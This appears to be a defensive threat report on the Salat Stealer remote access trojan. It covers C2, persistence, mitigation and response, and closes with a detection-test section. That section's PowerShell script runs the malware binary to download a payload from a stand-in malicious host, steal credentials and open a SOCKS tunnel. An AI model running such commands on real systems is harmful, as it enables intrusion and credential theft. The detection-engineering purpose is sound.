Salat Stealer Analysis Go Based RAT C2 Resilience and Info Stealing Capabilities

Summary

Salat Stealer is a Go-based remote access trojan that functions as a full-featured post-exploitation framework. It supports multiple communication channels, including WebSocket, HTTP/2, HTTP/3, and QUIC, giving operators flexible and resilient command-and-control options. The malware also includes broad credential theft capabilities, targeting browser data, cryptocurrency wallets, keystrokes, screenshots, and network pivoting through SOCKS5. To survive reboots, it uses hidden file copies, scheduled tasks, and a Run registry key. If its primary infrastructure is disrupted, the malware can retrieve updated command-and-control details through the TON blockchain.

Investigation

The analysis explains how the malware derives encryption keys from static strings combined with the victim’s hostname, then uses them to decrypt five embedded command-and-control URLs. Researchers also documented how Salat Stealer selects its transport protocol, processes operator commands, attempts privilege escalation, and deploys multiple persistence methods on the host. The report further outlines the range of stolen data and the broader remote access functions available to the attacker.

Mitigation

Defenders should monitor for connections to the identified command-and-control URLs, as well as unexpected QUIC and WebSocket traffic to unknown destinations. Security teams should also watch for hidden scheduled tasks and suspicious Run key entries that point to unfamiliar executables. Application allow-listing and strict execution controls can help prevent the Go-based payload from running. Network segmentation and TLS inspection can further improve visibility into suspicious outbound traffic associated with the malware.

Response

If Salat Stealer activity is detected, isolate the affected system immediately, collect memory and disk images, and terminate the malicious processes. Remove all persistence artifacts, including scheduled tasks, Run key entries, and hidden file copies used by the malware. The identified command-and-control domains should be blocked, along with any related TON blockchain lookups used for fallback infrastructure discovery. Exposed credentials and cryptocurrency wallets should also be rotated or secured without delay.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary has delivered the Salat RAT binary (salat.exe) to the victim host via a phishing attachment. After gaining a low‑privilege foothold, the attacker executes the binary with specific arguments to:

  1. Download a secondary payload – main.downloadFile https://malicious.example.com/payload.exe.
  2. Steal stored credentials – main.Steal -module credentials.
  3. Establish a peer‑to‑peer SOCKS tunnel for lateral movement – main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

  The binary is launched from an elevated PowerShell session to satisfy the elevation requirement (T1548). Each invocation appears as a distinct Sysmon process creation with the corresponding command line, satisfying the Sigma rule’s string match.

• Regression Test Script:

  # -------------------------------------------------
  # Salat RAT simulation script – triggers detection
  # -------------------------------------------------
  $binaryPath = "C:Tempsalat.exe"
  
  # Ensure the binary exists (placeholder – in a real test the binary would be pre‑staged)
  if (-Not (Test-Path $binaryPath)) {
      Write-Error "Salat binary not found at $binaryPath"
      exit 1
  }
  
  # 1. Download secondary payload
  Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
  
  # 2. Steal credentials
  Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
  
  # 3. Open P2P SOCKS tunnel
  Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
  
  Write-Host "Simulation completed."

• Cleanup Commands:

  # -------------------------------------------------
  # Cleanup for Salat RAT simulation
  # -------------------------------------------------
  # Terminate any lingering Salat processes
  Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Remove the binary (if allowed)
  $binaryPath = "C:Tempsalat.exe"
  if (Test-Path $binaryPath) {
      Remove-Item $binaryPath -Force
      Write-Host "Removed $binaryPath"
  }
  
  # Optionally clear related Sysmon events from the test index (Splunk example)
  # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'